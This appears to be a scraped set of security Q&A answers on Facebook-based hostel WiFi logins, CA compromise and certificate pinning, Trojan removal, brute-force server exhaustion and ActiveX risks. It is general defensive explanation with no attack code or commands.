This means, that you should be able to change any information in the certificate as long as the public key and the subject stay the same.


What are the implications of using a hostel wifi via a Facebook account?

Ill Try to Answer your questions precisely.
What is the motivation/incentive for the hostel to do so? Is it in any easier/cheaper for the hostel to do away with the traditional method of wifi passwords?
Answer: Assuming that the hostel owner has a big heart and wants to give free wi-fi access to the public, he needs a way to authenticate(recognize actually), every user, so that he can be answerable to the authorities, if any illegal thing happens through his network. By using FB Open authentication, he knows the user(actually FB does and the owner is trusting FB).
What is the motivation/incentive for facebook to offer/maintain the infrastructure? Or, is there any infrastructure involved?
This is Open Authentication. Check this for details.
What is there to loose for the user? Clearly, there is some data to be slurped, so be imaginitve in your worst case scenarios.
Answer: There is nothing much to lose for the user, provided the owner is not using phishing tools to lure the user to use FB authentication. If it comes to phishing, the adversary can steal the password and further may try other sophisticated methods like social engineering attacks, to cause damage of various other natures.
What may be measures to stop the neighbour of the hostel to use the hostel's wifi with his/her facebook account?
Answer: Technically, you can block any user to use the wi-fi services by blocking that particular user(by username or mac address).


Can a nation-state adversary perform a MITM attack by compelling a CA to issue them with fake certs?

Yes, a nation-state adversary can get a valid certificate for any site from any CA which they have power over. Whether it's legal or not is probably another question which I'm not qualified to answer.

Keep in mind that, even if a hijacked CA starts signing certificates with CNs of popular websites like google.com in order to MITM their traffic, it will be a different certificate and thus a noticable change. One can essentially notice this change by some form of "pinning" -- i.e., associating a specific certificate or public key with a specific website.

Basic vendor-supplied pinnings have existed in Chrome for a while, but now we're seeing more interesting solutions such as TACK and Public Key Pinning, which aim to make it possible for any server admin to temporarily pin keys to their domains.


If malware was detected in browser local storage does computer need to be nuked from orbit

It is a backdoor, so it hard to tell what damages it brought to your system. For example, it might be used to log keystroke or download other malicious files to your system

It is good to know how it infected your machine in the first place. Now, since you said your anti-virus MSE, which I personally do not trust very much, theoretically you should be fine. However, it is good to do some manual checking:

Open Registry Window by typing “regedit” in Run window.
Once it opens search the registry files related to TrojanDownloader:win32/Tugspay.A and delete all of them.

Finally, I personally recommend you re-install windows. Why? because this Trojan in particular can download other malware files. It is possible that it download other malware and MSE fails to detect them. Do you see my point?

Look at the TrojanDownloader:Win32/Tugspay.A See they call it the Trojan Downloader


Will brute force attack exhaust web server, resulting in DOS

YES INDEED
I used to own a shared hosting business and, while being at a party on a weekend night, I received an automated monitoring notification triggered by a resource exhaustion. I immediately left to the office and when I arrived I found out a bruteforce attack against a client's WordPress admin panel was the cause of it.
Always make sure your firewall rulesets are up to date and that a service can't take others' resources in case of an anomalous event (containerization is your friend here).


ActiveX is a remotely exploitable attack surface exposed by the browser.  ActiveX components are classes exposed to JavaScript.  By their nature,  an ActiveX component is performing sensitive functionality not normally exposed to JavaScript, and this functionality could be exploited.   ActiveX components can be written in C/C++ which means ActiveX components can suffer from buffer overflow or other memory corruption vulnerabilities.  Many exploits have been written to leverage vulnerabilities in ActiveX components,  especially ActiveX component written by Microsoft and enabled by default.

Exploitation of an ActiveX component often leads to remote code execution on the target system.